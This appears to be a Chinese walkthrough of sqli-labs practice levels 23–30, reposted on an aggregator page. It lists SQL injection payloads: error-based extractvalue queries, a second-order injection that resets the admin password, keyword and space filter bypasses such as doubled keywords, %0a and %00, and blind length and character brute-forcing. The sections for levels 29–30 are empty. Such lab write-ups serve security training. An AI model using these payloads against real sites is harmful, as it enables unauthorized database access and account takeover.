当前位置: 首页 > news >正文

sqli 靶场 Level23-Level30 wp

level-23 (注释被过滤)

抓包

寻找注入点

  • id=1’,id=1’',成周期性变化

POC

  • POC: id=1'+and+extractValue(1,concat(0x7e,user()))--+'

结果:failed。怀疑–被过滤掉了,试试前后闭合方案

  • POC: id=1'+and+extractValue(1,concat(0x7e,user()))+and+'


结果:ok。

level-24(二次注入)

这一关比较特殊,是用类admin的账号去修改admin的密码。
思路:
(1)我们注册一个admin'--admin'#admin' and '1admin' or '1 的账号。这是第一次注入
(2)我们通过这个账号修改密码来修改隐藏的admin账户的密码。这是第二次注入
第一个'在这里是为了闭合前面的'
--后者#这里起到注释的效果
列出更改密码的sql更好理解:

usernamesql
admin'--update table_x set pasword='123' where username='admin'-- ' and password='456;
admin'#update table_x set pasword='123' where username='admin#'-- ' and password='456;
admin' and '1update table_x set pasword='123' where username='admin#'-- ' and password='456;
admin' or '1update table_x set pasword='123' where username='admin#'-- ' or password='456;
  1. 注册账号

    注意--后面是有空格,否则起不到注释的效果
  2. 登录新账号修改密码(456)
  3. 验证(密码456)


    ==》 成功登录admin

level-25 (and、or被过滤)

抓包

寻找注入点

''存在

POC

  • POC:id=-1'+or+extractValue(1,concat(0x73,user()))--+

发现and,or关键字被屏蔽了,还是不区分大小写的屏蔽


  • 使用union

结果:成功注入

  • 使用aandnd/anandd --> and

POC: id=-1'+aandnd+extractValue(1,concat(0x73,user()))--+

level-25a(and、or被过滤盲注)

抓包

寻找注入点

  • POC:id=1' and if(1,sleep(3),sleep(0))--+
    ==》不休眠
  • POC:id=1" and if(1,sleep(3),sleep(0))--+
    ==》休眠

==》存在注入

POC

  • step1: 猜字符串长度:POC: id=1+aandnd+if(length(user())=§1§,sleep(3),0)--+

==》14

  • step2:猜每个字符: POC: id=1+aandnd+if(substr(user(),§1§,1)='§a§',sleep(3),0)--+

==》root@localhost

level-26 (空格、注释被过滤)

抓包

查看正常请求和响应

寻找注入点

  • 使用单双引号,发现输出周期性变化,存在注入

POC

试试union select
  • POC: '+union+select+1,user(),3--+
    ==》 空格被过滤了


==》 因为空格被过滤了,所以and,union都使用不了,--+也使用不了
寻找其他替代方案:&&替代and,后’闭合替换--+

试试逻辑&
  • POC: id=1'&extractvalue(1,concat(0x7e,user(),0x7e))&'                        //字符串拼接&

    ==》 无反应
试试逻辑&&
  • POC: id=1'&&extractvalue(1,concat(0x7e,user(),0x7e))&&'                  //逻辑&&
试试&使用%编码

POC: id=1'%26extractvalue(1,concat(0x7e,user(),0x7e))%26'                    //字符串拼接,&使用%编码

==》 成功爆出

试试&&使用%编码

POC: id=1'%26%26extractvalue(1,concat(0x7e,user(),0x7e))%26%26'                      //&&使用%编码

==》 成功爆出

试试|

POC: id=1'|extractvalue(1,concat(0x7e,user(),0x7e))|'                //使用|

==》 成功爆出

试试||

POC: id=1'||extractvalue(1,concat(0x7e,user(),0x7e))||'   //使用||

==》 成功爆出

试试|使用%编码

POC: id=1'%7cextractvalue(1,concat(0x7e,user(),0x7e))%7c'                        //|使用%编码

==》 成功爆出

试试||使用%编码

POC: id=1'%7c%7cextractvalue(1,concat(0x7e,user(),0x7e))%7c%7c'                     //||使用%编码

==》 成功爆出

试试()代替空格

POC: 1'aandnd(extractvalue(1,concat(0x7e,user())))='1

==》 成功爆出

试试0a%

==>爆破失败,%0a也被过滤掉了

总结

  • 空格被过滤了
    • 试试&,&&,|,||以及他们的%编码
    • 试试()
  • 因为空格被过滤了,不能使用--+

level-26a (空格、注释被过滤,盲注)

抓包

同level-26

寻找注入点

同level-26

POC

因为没有回显,只能通过盲注爆破

  • 获取字段的长度
    POC: 1'%26%26if(1=1,length(user())=§1§,0)=0%26%26'1


    ==》14
  • 爆破每个字符
    POC: id=1'%26%26if(1=1,substring(user(),§1§,1)='§a§',0)=0%26%26'1

    ==》root**@localhost ****  **

level-27 (union select被过滤)

抓包

寻找注入点


==>存在

POC

  • POC: 1'+%26%26+extractvalue(1,concat(0x7e,user(),0x7e))%26%26'
     ==> 过滤掉了空格
  • POC: id=1'+union+select+1,2,3,4--+

==》 union select被过滤了

既然空格和union select都被过滤了,试试使用&&、&、||、|、()、%0a+报错函数+前后闭合这种方式

POC: id=1'|extractvalue(1,concat(0x7e,user(),0x7e))|'

==》成功爆破。

当然使用其他%26%26、%26、||,也是可以的

level-27a (union select被过滤,盲注)

抓包

同level27

寻找注入点

同level27

POC

同level27,不过加上了盲注,盲注可以参考26a。

  • 求字符串长度

POC: 1"+and%0aif(length(user())=§1§,1,0)="1

  • 求每个字符
    POC: 1"+and%0aif(substring(user(),§1§,1)='§a§',1,0)="1

level-28 (过滤select、union)

抓包

注入点

  • 11"回显正常 ,1'回显错误,存在单引号 字符型注入
  • 2'%26%26'1'='1,回显为id=1,存在小括号

(2&&1=1)的结果是1,所以id不论怎么变都和id=1。若没有小括号,id等于几,回显多少关的数据

POC

  • 爆破列数
    id=1')+order+by+10--+
    因为有空格,所以–+不能使用
    id=1')%0aorder%0aby%0a10%26%26'1'=('1
    语句错误
    ==》数据库列数爆破失败,回显位只能不断尝试。
  • 爆破回显位
    • 测试过滤
      id=1')+union+select+1,2,3+or+'1'=('1

==》空格被过滤了
==》 #被过滤了
==》--被过滤了
==》union select被过滤了
==》union空白字符select也被过滤了

  • 尝试获取列数

id=1')%0aorder%0aby%0a10;%00
order by利用二分法爆破
注:%00代表NULL,用来表示字符串的结束,相当于C中"/0",因为用不了注释,这里使用%00

==》爆出列数4

  • 尝试%0a代替空格
    id=0')%0aunion%0aselect%0a1,2,3%0aor('1'='1

==》union%0aselect被过滤了

  • 尝试构造union select

id=0')%0aunionunion%0aselect%0aselect%0a1,2,3%0aor('1'='1

  • 再回显位爆破username,database

id=0')%0aunionunion%0aselect%0aselect%0a1,database(),3%0aor('1'='1

==> 爆破成功,user()虽然没爆破出来,我们可以利用第二个位置填入user,再试一次即可。
注:当然上面也可以使用;%00,即替换后面%0aor('1'='1

level-28a (过滤select、union,盲注)

抓包

寻找注入点

略,同level-28

POC

同level-28

当然你也可以尝试盲注

level-29 (waf保护)

前言:阻抗失衡一般用于解释。这一关要路径带入login.php,否则是没有WAP轻易爆破

抓包

寻找注入点

POC

level-30 (waf保护,盲注)

前言:同level-29,url路径带入login.php;

抓包

寻找注入点

POC

相关文章:

  • xshell是什么软件,1000字让你完全了解xshell
  • flink1.15.2 报错 processElement_split
  • Docker学习——④
  • yuv420并转为bgr
  • 【编程语言发展史】Unity开发语言的历史发展
  • ST 任意内核 移植freertos系统
  • 项目实战:中央控制器实现(2)-优化Controller,将共性动作抽取到中央控制器
  • Redis系列-Redis集群模式【8】
  • Qt 4.8.6 的下载与安装
  • VS2010配置gdal1.10.0 gdal1.10.1编译
  • 【原创】java+swing+mysql爱心捐赠管理系统设计与实现
  • mysql---存储引擎
  • 2、音视频基础
  • 配置OSPF特殊区域
  • 边缘计算多角色智能计量插座:用电监测和资产管理的未来智能化引擎
  • log4j CVE-2021-44228 RCE漏洞复现
  • wpf Grid布局详解 `Auto` 和 `*` 是两种常见的设置方式 行或列占多个单元格,有点像excel里的合并单元格。使其余的列平均分配剩余的空间
  • 嵌入式Linux HID多指触控/触摸设备报表描述符
  • 浅谈余压监控系统在某高层住宅的应用方案
  • 【数据结构】手撕单链表
  • 阿里云虚拟主机怎么建立网站/企业网络营销业务
  • 海口模板建站平台/站外引流推广渠道
  • 服装网站建设策划/企业网络营销顾问
  • 淘宝客网站可以做分销吗/杭州疫情最新情况
  • 肇庆做网站的有/西安高端模板建站
  • 网络推广平台排行前十名/苏州seo关键词优化外包